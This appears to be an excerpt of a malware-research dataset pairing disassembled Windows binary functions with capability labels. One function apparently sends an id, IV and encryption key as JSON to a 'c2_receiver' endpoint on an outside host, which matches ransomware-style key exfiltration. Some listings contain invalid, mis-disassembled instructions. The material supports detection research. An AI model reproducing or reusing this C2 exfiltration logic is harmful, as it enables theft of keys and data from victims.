joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180034f40
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
sub rsp, 0x30
mov r8d, dword [0x180045c3c]
mov esi, ecx
xor ecx, ecx
mov ebx, ecx
test r8d, r8d
je 0x180034f87
mov rax, qword [0x180045c30]
add rax, 0x20
nop word [rax + rax]
movzx edx, byte [rax]
shr edx, 1
and edx, 1
cmp edx, esi
jne 0x180034f94
inc ebx
add rax, 0x38
cmp ebx, r8d
jb 0x180034f70
mov eax, ecx
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop rsi
ret
cmp ebx, 0xffffffff
je 0x180034f87
test esi, esi
mov qword [rsp + 0x48], rdi
mov edx, 0xffffffff
setne cl
mov r8d, ecx
lea rcx, [rsp + 0x20]
call fcn.180034d30
mov edi, eax
test eax, eax
jne 0x18003507d
mov r9d, dword [0x180045c3c]
cmp ebx, r9d
jae 0x18003500c
nop dword [rax + rax]
mov ecx, ebx
imul rdx, rcx, 0x38
mov rcx, qword [0x180045c30]
movzx r8d, byte [rdx + rcx + 0x20]
shr r8d, 1
and r8d, 1
cmp r8d, esi
je 0x180035005
mov edx, esi
mov ecx, ebx
call fcn.180034e10
mov edi, eax
test eax, eax
jne 0x18003500c
mov r9d, dword [0x180045c3c]
inc ebx
cmp ebx, r9d
jb 0x180034fd0
cmp qword [rsp + 0x20], 0
je 0x18003507b
mov eax, dword [rsp + 0x2c]
test eax, eax
je 0x180035067
mov rbx, qword [rsp + 0x20]
mov qword [rsp + 0x40], rbp
mov ebp, eax
nop dword [rax + rax]
mov r8d, dword [rbx]
xor edx, edx
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x180035058
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rbx, 4
sub rbp, 1
jne 0x180035030
mov rbp, qword [rsp + 0x40]
mov r8, qword [rsp + 0x20]
xor edx, edx
mov rcx, qword [0x180045b30]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
mov rdi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop rsi
ret
Function at 0x180035380
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
push r14
push r15
sub rsp, 0x30
xor r15d, r15d
mov edi, 1
mov r14d, r15d
mov ebx, r15d
xor eax, eax
lock cmpxchg dword [0x180045b28], edi
je 0x1800353c9
cmp rbx, 0x20
jae 0x1800353b2
xor ecx, ecx
jmp 0x1800353b4
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
xor eax, eax
lock cmpxchg dword [0x180045b28], edi
jne 0x1800353a8
cmp qword [0x180045b30], r14
mov qword [rsp + 0x60], r13
je 0x18003556b
mov ecx, dword [0x180045c3c]
mov ebx, r15d
test ecx, ecx
je 0x180035401
mov rdx, qword [0x180045c30]
mov rax, rdx
cmp qword [rax], r14
je 0x18003540c
inc ebx
add rax, 0x38
cmp ebx, ecx
jb 0x1800353f2
mov r14d, 4
jmp 0x180035571
cmp ebx, 0xffffffff
je 0x180035401
mov eax, ebx
imul r13, rax, 0x38
test byte [rdx + r13 + 0x20], 2
je 0x1800354d0
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov edx, ebx
call fcn.180034d30
mov r14d, eax
test eax, eax
jne 0x180035571
xor edx, edx
mov ecx, ebx
call fcn.180034e10
mov r14d, eax
cmp qword [rsp + 0x20], r15
je 0x1800354c0
mov eax, dword [rsp + 0x2c]
test eax, eax
je 0x1800354ac
mov rdi, qword [rsp + 0x20]
mov qword [rsp + 0x50], rbp
mov ebp, eax
mov qword [rsp + 0x58], rsi
nop dword [rax]
mov r8d, dword [rdi]
xor edx, edx
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x180035498
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rdi, 4
sub rbp, 1
jne 0x180035470
mov rsi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x50]
mov r8, qword [rsp + 0x20]
xor edx, edx
mov rcx, qword [0x180045b30]
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r14d, r14d
jne 0x180035571
mov rdx, qword [0x180045c30]
mov rcx, qword [rdx + r13 + 0x10]
call fcn.1800341d0
mov edx, dword [0x180045c3c]
dec edx
cmp ebx, edx
jae 0x18003551f
mov eax, edx
imul rcx, rax, 0x38
mov rax, qword [0x180045c30]
movups xmm0, xmmword [rcx + rax]
movups xmmword [rax + r13], xmm0
movups xmm1, xmmword [rcx + rax + 0x10]
movups xmmword [rax + r13 + 0x10], xmm1
movups xmm0, xmmword [rcx + rax + 0x20]
movups xmmword [rax + r13 + 0x20], xmm0
movsd xmm1, qword [rcx + rax + 0x30]
movsd qword [rax + r13 + 0x30], xmm1
mov ecx, dword [0x180045c38]
mov eax, ecx
mov dword [0x180045c3c], edx
shr eax, 1
cmp eax, 0x20
jb 0x180035571
cmp eax, edx
jb 0x180035571
mov r8, qword [0x180045c30]
mov eax, ecx
mov rcx, qword [0x180045b30]
xor edx, edx
shr rax, 1
imul r9, rax, 0x38
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
test rax, rax
je 0x180035571
shr dword [0x180045c38], 1
mov qword [0x180045c30], rax
jmp 0x180035571
mov r14d, 2
xchg dword [0x180045b28], r15d
mov r13, qword [rsp + 0x60]
mov eax, r14d
mov rbx, qword [rsp + 0x68]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret
Function at 0x180035ba0
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rcx
cmp rdx, 1
jne 0x180035be2
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
xor eax, eax
lea r8, [0x180035b20]
mov qword [rsp + 0x28], rax
mov r9, rbx
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x180035be2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
add rsp, 0x30
pop rbx
ret
Function at 0x1400010c0
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x1d0
mov eax, dword [0x140005800]
xor r12d, r12d
vmovups xmm0, xmmword [str.Content_Type:_application_json]
mov dword [rsp + 0x58], eax
mov r15, r8
movzx eax, word [0x140005804]
mov r14, rdx
mov word [rsp + 0x5c], ax
mov rbp, rcx
movzx eax, byte [0x140005806]
mov edi, r12d
vmovups xmmword [rsp + 0x40], xmm0
vmovsd xmm0, qword [0x1400057f8]
mov byte [rsp + 0x5e], al
mov ebx, r12d
vmovsd qword [rsp + 0x50], xmm0
mov esi, 0x41
nop word [rax + rax]
movzx r9d, byte [rdi + rbp]
lea rcx, [rsp + 0x90]
mov rdx, rsi
lea r8, str._02x
sub rdx, rbx
add rcx, rbx
call fcn.140001060
add rbx, 2
lea rdi, [rdi + 1]
cmp rbx, 0x40
jb 0x140001140
mov byte [rsp + 0xd0], r12b
mov rbp, r12
mov rbx, r12
mov edi, 0x21
movzx r9d, byte [r14 + rbp]
lea rcx, [rsp + 0x60]
mov rdx, rdi
lea r8, str._02x
sub rdx, rbx
add rcx, rbx
call fcn.140001060
add rbx, 2
lea rbp, [rbp + 1]
cmp rbx, 0x20
jb 0x140001183
lea rax, [rsp + 0x90]
mov byte [rsp + 0x80], r12b
mov qword [rsp + 0x28], rax
lea r8, str._id_:___s____iv_:___s____key_:___s_
lea rax, [rsp + 0x60]
mov ebx, 0xec
mov r9, r15
mov qword [rsp + 0x20], rax
mov edx, ebx
lea rcx, [rsp + 0xe0]
call fcn.140001060
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor r8d, r8d
lea rcx, str.TLD13Browser_12.0
xor edx, edx
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rsp + 0x38], r12
lea rdx, str.xam.pythonanywhere.com
mov dword [rsp + 0x30], r12d
mov rcx, rax
mov dword [rsp + 0x28], 3
mov r8d, 0x1bb
xor r9d, r9d
mov qword [rsp + 0x20], r12
mov r14, rax
call qword [sym.imp.WININET.dll_InternetConnectA]
mov qword [rsp + 0x38], r12
lea r8, str._c2_receiver
mov dword [rsp + 0x30], 0x80800000
lea rdx, str.POST
mov qword [rsp + 0x28], r12
mov rcx, rax
xor r9d, r9d
mov qword [rsp + 0x20], r12
mov r15, rax
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov r8, 0xffffffffffffffff
mov rbp, rax
lea rax, [rsp + 0xe0]
mov rcx, r8
inc rcx
cmp byte [rax + rcx], r12b
jne 0x140001283
lea rax, [rsp + 0x40]
inc r8
cmp byte [rax + r8], r12b
jne 0x140001291
mov dword [rsp + 0x20], ecx
lea r9, [rsp + 0xe0]
mov rcx, rbp
lea rdx, [rsp + 0x40]
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rax, [rsp + 0x90]
nop word [rax + rax]
mov byte [rax], r12b
lea rax, [rax + 1]
sub rsi, 1
jne 0x1400012e0
lea rax, [rsp + 0x60]
mov byte [rax], r12b
lea rax, [rax + 1]
sub rdi, 1
jne 0x1400012f2
lea rax, [rsp + 0xe0]
nop word [rax + rax]
mov byte [rax], r12b
lea rax, [rax + 1]
sub rbx, 1
jne 0x140001310
lea r11, [rsp + 0x1d0]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret
Function at 0x1400028dc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002926
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002926
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002926
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002926
cmp dword [rcx + 0x84], 0xe
jbe 0x140002926
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002928
xor al, al
add rsp, 0x28
ret
Function at 0x14000112f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rcx, qword [rcx]
mov r8d, 1
jmp fcn.140089a07

Function at 0x14000e180
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rsp + 0x20]
mov rax, rdx
mov rsi, qword [rbp + 0x70]
mov rdi, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x60]
mov ebx, ecx
shr ebx, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov r15, rax
movzx r14d, byte [rax + 1]
add rax, 2
lea r10, [r11 + r14]
cmp byte [r15], bl
jne 0x14000e200
cmp r11, r10
ja 0x14000e277
cmp r10, rdx
ja 0x14000e289
add r11, r9
xor r15d, r15d
nop dword [rax + rax]
cmp r14, r15
je 0x14000e202
lea r12, [r15 + 1]
cmp byte [r11 + r15], cl
mov r15, r12
jne 0x14000e1e0
jmp 0x14000e264
ja 0x14000e20a
mov r11, r10
cmp rax, r8
jne 0x14000e1ae
add rsi, rdi
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r8, [rdi + 1]
movzx edx, byte [rdi]
test dl, dl
js 0x14000e240
mov rdi, r8
sub ecx, edx
jns 0x14000e25b
jmp 0x14000e266
cmp r8, rsi
je 0x14000e298
movzx r8d, byte [rdi + 1]
add rdi, 2
and edx, 0x7f
shl edx, 8
or edx, r8d
sub ecx, edx
js 0x14000e266
xor al, 1
cmp rdi, rsi
jne 0x14000e220
jmp 0x14000e266
xor eax, eax
and al, 1
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.1400b6450
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.1400b60b0
lea rcx, str.librarycore_srcunicodeprintable.rs
call fcn.1400b64c0
int3

Function at 0x140015413
Capabilities:
Hash data using fnv

Disassembly:
mov rax, qword [rcx]
xor r9d, r9d
movabs r10, 0x100000001b3
cmp r8, r9
je 0x140015439
movzx r11d, byte [rdx + r9]
xor rax, r11
imul rax, r10
inc r9
jmp 0x140015423
mov qword [rcx], rax
ret
Function at 0x140031c3c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rcx, qword [rcx]
add qword [rcx + 0x20], r8
jmp fcn.140089a07
Function at 0x14004d259
Capabilities:
Check for software breakpoints

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0x2c28
call fcn.1400a74d0
sub rsp, rax
movaps xmmword [rsp + 0x2c10], xmm9
movaps xmmword [rsp + 0x2c00], xmm8
movaps xmmword [rsp + 0x2bf0], xmm7
movaps xmmword [rsp + 0x2be0], xmm6
mov r13, rdx
mov rbx, rcx
lea r15, [rcx + 0x210]
lea r12, [rcx + 0x80]
lea rdi, [rcx + 0x231]
lea rax, [rcx + 0x88]
mov qword [rsp + 0x2e0], rax
lea rax, [rcx + 0x1e0]
mov qword [rsp + 0x198], rax
xorps xmm6, xmm6
movss xmm7, dword [0x1400ba6c0]
lea rax, [rcx + 0x138]
mov qword [rsp + 0x2d8], rax
lea rax, [rcx + 0x1b8]
mov qword [rsp + 0x190], rax
lea rax, [rcx + 0x28]
mov qword [rsp + 0x2d0], rax
lea rax, [rcx + 0xa0]
mov qword [rsp + 0x2c8], rax
lea rax, [rcx + 0x18]
mov qword [rsp + 0x268], rax
xor eax, eax
mov qword [rsp + 0x260], rax
lea rbp, [rsp + 0x4c0]
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x94], eax
mov qword [rsp + 0x270], rax
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x88], rdx
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x38], rdi
Function at 0x1400653d4
Capabilities:
Load assembly via iassembly

Disassembly:
mov rax, qword [rdx]
xor r9d, r9d
cmp rax, 5
sete r9b
lea rdx, [rdx + r9*8]
cmp eax, 5
je 0x1400653f4
jmp 0x140040fc9
push rsi
push rdi
sub rsp, 0x28
mov r8b, byte [rdx + 0x70]
mov byte [rdx + 0x70], 3
cmp r8b, 3
je 0x140065430
mov rax, rcx
mov ecx, 0xe
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov ecx, dword [rdx + 0x71]
mov edx, dword [rdx + 0x74]
mov dword [rax + 0x74], edx
mov dword [rax + 0x71], ecx
mov byte [rax + 0x70], r8b
add rsp, 0x28
pop rdi
pop rsi
ret
lea rcx, str.Ready_polled_after_completionC:Usersuser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_ready.rs
lea r8, [0x140a66230]
mov edx, 0x1d
call fcn.1400b64e0
int3

Function at 0x140067f6e
Capabilities:
Decrypt data via sspi

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x70
mov rdi, rdx
mov rsi, rcx
mov r8, qword [rdx + 0x48]
mov rcx, qword [rdx + 0x38]
mov rdx, qword [rdx + 0x40]
lea r9, str.C:Usersuser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rs
call fcn.1400680f2
xor ecx, ecx
test rax, rax
cmove edx, ecx
xorps xmm0, xmm0
lea rcx, [rsp + 0x20]
movups xmmword [rcx + 0x30], xmm0
mov dword [rcx], edx
mov dword [rcx + 4], 1
mov qword [rcx + 8], rax
movups xmmword [rcx + 0x10], xmm0
movups xmmword [rcx + 0x20], xmm0
movabs rax, 0x400000000
lea rdx, [rsp + 0x60]
mov qword [rdx], rax
mov qword [rdx + 8], rcx
lea rcx, [rdi + 0xe8]
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.secur32.dll_DecryptMessage]
cmp eax, 0x80090318
je 0x1400680bc
test eax, eax
je 0x14006804a
cmp eax, 0x90317
je 0x1400680b6
cmp eax, 0x90321
jne 0x1400680da
mov dword [rdi + 0xa0], 0x10000
xor ebx, ebx
mov byte [rdi + 0xa4], bl
cmp dword [rsp + 0x54], 5
mov rdx, qword [rdi + 0x48]
mov eax, 0
cmove eax, dword [rsp + 0x50]
sub rdx, rax
mov rcx, rdi
call fcn.140068147
and qword [rdi + 0x108], 0
mov byte [rsi + 1], bl
jmp 0x1400680e8
mov r8, qword [rsp + 0x38]
mov rcx, qword [rdi + 0x38]
mov rdx, qword [rdi + 0x40]
sub r8, rcx
mov r9d, dword [rsp + 0x30]
add r9, r8
lea rbx, [rdi + 0x10]
and qword [rdi + 0x20], 0
call fcn.140068103
mov r8, rdx
mov rcx, rbx
mov rdx, rax
call fcn.14009fc7f
and qword [rdi + 0x28], 0
xor ebx, ebx
cmp dword [rsp + 0x54], 5
mov rdx, qword [rdi + 0x48]
mov eax, dword [rsp + 0x50]
cmovne eax, ebx
sub rdx, rax
mov rcx, rdi
call fcn.140068147
xor eax, eax
cmp qword [rdi + 0x48], rbx
sete al
mov qword [rdi + 0x108], rax
mov byte [rsi + 1], 0
jmp 0x1400680e8
mov byte [rsi + 1], 1
jmp 0x1400680d6
cmp dword [rsp + 0x34], 4
mov eax, 1
cmove eax, dword [rsp + 0x30]
mov qword [rdi + 0x108], rax
mov byte [rsi + 1], 0
xor ebx, ebx
jmp 0x1400680e8
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov bl, 1
mov byte [rsi], bl
add rsp, 0x70
pop rbx
pop rdi
pop rsi
ret
Function at 0x140069110
Capabilities:
Decrypt data via sspi

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x70
mov rdi, rdx
mov rsi, rcx
mov r8, qword [rdx + 0x170]
mov rcx, qword [rdx + 0x160]
mov rdx, qword [rdx + 0x168]
lea r9, str.C:Usersuser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rs
call fcn.1400680f2
xor ecx, ecx
test rax, rax
cmove edx, ecx
xorps xmm0, xmm0
lea rcx, [rsp + 0x20]
movups xmmword [rcx + 0x30], xmm0
mov dword [rcx], edx
mov dword [rcx + 4], 1
mov qword [rcx + 8], rax
movups xmmword [rcx + 0x10], xmm0
movups xmmword [rcx + 0x20], xmm0
movabs rax, 0x400000000
lea rdx, [rsp + 0x60]
mov qword [rdx], rax
mov qword [rdx + 8], rcx
lea rcx, [rdi + 0x1e8]
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.secur32.dll_DecryptMessage]
cmp eax, 0x80090318
je 0x14006927f
test eax, eax
je 0x1400691f8
cmp eax, 0x90317
je 0x140069279
cmp eax, 0x90321
jne 0x14006929d
mov dword [rdi + 0x1c8], 0x10000
xor ebx, ebx
mov byte [rdi + 0x1cc], bl
cmp dword [rsp + 0x54], 5
mov rdx, qword [rdi + 0x170]
mov eax, 0
cmove eax, dword [rsp + 0x50]
sub rdx, rax
mov rcx, rdi
call fcn.1400692b5
and qword [rdi + 0x208], 0
mov byte [rsi + 1], bl
jmp 0x1400692ab
mov r8, qword [rsp + 0x38]
mov rcx, qword [rdi + 0x160]
mov rdx, qword [rdi + 0x168]
sub r8, rcx
mov r9d, dword [rsp + 0x30]
add r9, r8
lea rbx, [rdi + 0x138]
and qword [rdi + 0x148], 0
call fcn.140068103
mov r8, rdx
mov rcx, rbx
mov rdx, rax
call fcn.14009fc7f
and qword [rdi + 0x150], 0
xor ebx, ebx
cmp dword [rsp + 0x54], 5
mov rdx, qword [rdi + 0x170]
mov eax, dword [rsp + 0x50]
cmovne eax, ebx
sub rdx, rax
mov rcx, rdi
call fcn.1400692b5
xor eax, eax
cmp qword [rdi + 0x170], rbx
sete al
mov qword [rdi + 0x208], rax
mov byte [rsi + 1], 0
jmp 0x1400692ab
mov byte [rsi + 1], 1
jmp 0x140069299
cmp dword [rsp + 0x34], 4
mov eax, 1
cmove eax, dword [rsp + 0x30]
mov qword [rdi + 0x208], rax
mov byte [rsi + 1], 0
xor ebx, ebx
jmp 0x1400692ab
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov bl, 1
mov byte [rsi], bl
add rsp, 0x70
pop rbx
pop rdi
pop rsi
ret
Function at 0x140079cae
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xc8
in al, dx
enter 0, 0
mov r14, rdx
mov rsi, rcx
mov ecx, 0x18
sbb byte [rax], al
add byte [rax], al
mov edx, 8
add al, ch
cld
invalid
cli
dec dword [rax - 0x77]
invalid
mov eax, 1
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov qword [rdi + 8], rax
or dh, al
adc byte [r8], r8b
mov rcx, r14
call fcn.140099fbe
add al, byte [rax]
mov rcx, qword [rax]
xorps xmm0, xmm0
lea rdx, [rsp + 0x40]
movaps xmmword [rdx + 0x70], xmm0
movaps xmmword [rdx + 0x60], xmm0
movaps xmmword [rdx + 0x50], xmm0
sub dword [rdx + 0x50], eax
movaps xmmword [rdx + 0x40], xmm0
movaps xmmword [rdx + 0x30], xmm0
movaps xmmword [rdx + 0x20], xmm0
movaps xmmword [rdx + 0x10], xmm0
movaps xmmword [rdx], xmm0
lea r8, [rsp + 0x20]
mov dword [r8], 0x80
call qword [sym.imp.ws2_32.dll_getpeername]
cmp eax, 0xffffffff
je 0x140079d6a
mov eax, dword [rsp + 0x20]
movzx ecx, word [rsp + 0x40]
cmp ecx, 0x17
je 0x140079d80
cmp ecx, 2
jne 0x140079dc3
cmp eax, 0xf
jbe case.0x140064993.165
mov eax, dword [rsp + 0x44]
movzx ecx, word [rsp + 0x42]
and al, 0x42
rol cx, 8
movzx r13d, cx
movzx ebp, cx
shl r13, 0x20
or r13, rax
xor ebp, ebp
in eax, dx
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
mov bp, 2
lea rbx, str.invalid_argument0_

Function at 0x14007a273
Capabilities:
Receive data
Receive data on socket

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x68
mov r15, rdx
mov r12, rcx
mov qword [rsp + 0x50], r8
mov rcx, r8
call fcn.14007a4d3
mov r14, rax
lea rsi, [rsp + 0x32]
lea rbx, [rsp + 0x42]
mov rdi, qword [r12 + 8]
mov r13d, 0x7fffffff
cmp rdx, r13
mov qword [rsp + 0x48], rdx
cmovb r13, rdx
mov rax, qword [r12 + 0x10]
adc byte [rax - 0x77], cl
and al, 0x60
mov rax, qword [r12 + 0x18]
mov qword [rsp + 0x58], rax
and al, 0x58
mov qword [rsp + 0x20], r13
invalid

Function at 0x14007e53e
Capabilities:
Receive data
Receive data on socket

Disassembly:
cmp dword [rcx], 2
jne fcn.14007aa10
add rcx, 8
jmp fcn.14007a273

Function at 0x14007e550
Capabilities:
Send data
Send data on socket

Disassembly:
cmp dword [rcx], 2
jne fcn.14007a525
add rcx, 8
jmp fcn.14009a7e9
Function at 0x140085c50
Capabilities:
Encode data using xor

Disassembly:
push rbp
mov rbp, rsp
mov rax, rdx
sub rdx, rcx
cmp rdx, 0x20
jae 0x140085c75
cmp rax, rcx
je 0x140085c7b
cmp rdx, 4
jae 0x140085c82
xor eax, eax
xor r8d, r8d
jmp 0x140085d20
pop rbp
jmp fcn.14000a3a0
xor eax, eax
jmp 0x140085d37
mov r8d, edx
and r8d, 0x1c
pxor xmm0, xmm0
xor eax, eax
movdqa xmm2, xmmword [0x1400ba640]
movdqa xmm3, xmmword [0x1400ba650]
pxor xmm1, xmm1
nop word cs:[rax + rax]
movzx r9d, word [rcx + rax]
movd xmm4, r9d
movzx r9d, word [rcx + rax + 2]
movd xmm5, r9d
pcmpgtb xmm4, xmm2
punpcklbw xmm4, xmm4
pshuflw xmm4, xmm4, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm0, xmm4
pcmpgtb xmm5, xmm2
punpcklbw xmm5, xmm5
pshuflw xmm4, xmm5, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm1, xmm4
add rax, 4
cmp r8, rax
jne 0x140085cb0
paddq xmm1, xmm0
pshufd xmm0, xmm1, 0xee
paddq xmm0, xmm1
movq rax, xmm0
cmp r8, rdx
je 0x140085d37
nop dword [rax]
xor r9d, r9d
cmp byte [rcx + r8], 0xc0
setge r9b
add rax, r9
inc r8
cmp rdx, r8
jne 0x140085d20
pop rbp
ret
Function at 0x140088e3e
Capabilities:
Get client handle via schannel
Get outbound credentials handle via credssp

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0xb0
xorps xmm0, xmm0
movaps xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0xa0], xmm0
movups xmmword [rsp + 0x90], xmm0
movups xmmword [rsp + 0x80], xmm0
movups xmmword [rsp + 0x70], xmm0
mov dword [rsp + 0x60], 4
mov dword [rsp + 0xa8], 0x400010
movabs rax, 0x8000000000000000
cmp qword [rcx + 0x18], rax
je 0x140088eaa
mov edx, dword [rcx + 0x28]
mov dword [rsp + 0x88], edx
mov rdx, qword [rcx + 0x20]
mov qword [rsp + 0x90], rdx
cmp qword [rcx + 0x30], rax
je 0x140088ee5
mov rax, qword [rcx + 0x40]
test rax, rax
je 0x140088edc
mov r8, qword [rcx + 0x38]
xor edx, edx
lea r9, [0x140a95398]
xor r10d, r10d
movzx r11d, byte [r8 + r10]
or edx, dword [r9 + r11*4]
inc r10
cmp rax, r10
jne 0x140088ec9
jmp 0x140088ede
xor edx, edx
mov dword [rsp + 0x98], edx
mov rsi, qword [rcx + 0x10]
test rsi, rsi
je 0x140088f3c
lea rbx, [rsi*8]
mov rax, rsi
shr rax, 0x3c
jne 0x140089002
mov r15, qword [rcx + 8]
mov r14d, 8
mov ecx, 8
mov rdx, rbx
call fcn.14003167a
test rax, rax
je 0x140089005
mov rdi, rax
xor eax, eax
mov rcx, qword [r15 + rax*8]
mov qword [rdi + rax*8], rcx
inc rax
cmp rsi, rax
jne 0x140088f28
mov eax, esi
jmp 0x140088f45
xor esi, esi
mov edi, 8
xor eax, eax
lea rcx, [rsp + 0x60]
mov dword [rcx + 4], eax
mov qword [rcx + 8], rdi
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x20], rcx
and qword [rsp + 0x40], 0
lea rdx, [0x140a6aa8b]
xor ecx, ecx
mov r8d, 2
xor r9d, r9d
call qword [sym.imp.secur32.dll_AcquireCredentialsHandleA]
test eax, eax
je 0x140088f9c
mov ebx, eax
shl rbx, 0x20
or rbx, 2
mov r14d, 1
jmp 0x140088fd4
mov r14, qword [rsp + 0x50]
mov r15, qword [rsp + 0x58]
mov ecx, 8
mov edx, 0x20
call fcn.14001a493
test rax, rax
je 0x140089010
mov rbx, rax
mov eax, 1
mov qword [rbx], rax
mov qword [rbx + 8], rax
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], r15
xor r14d, r14d
test rsi, rsi
je 0x140088fed
shl rsi, 3
mov edx, 8
mov rcx, rdi
mov r8, rsi
call fcn.14001ebd7
mov rax, r14
mov rdx, rbx
add rsp, 0xb0
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
xor r14d, r14d
mov rcx, r14
mov rdx, rbx
call fcn.1400b5c40
mov ecx, 8
mov edx, 0x20
call fcn.1400b5c60
int3

Function at 0x140089981
Capabilities:
Get remote cert context via schannel

Disassembly:
sub rsp, 0x28
lea r8, [rsp + 0x20]
and qword [r8], 0
mov edx, 0x53
call qword [sym.imp.secur32.dll_QueryContextAttributesW]
mov edx, eax
xor eax, eax
test edx, edx
setne cl
jne 0x1400899ab
mov rdx, qword [rsp + 0x20]
jmp 0x1400899b3
shl rdx, 0x20
or rdx, 2
mov al, cl
add rsp, 0x28
ret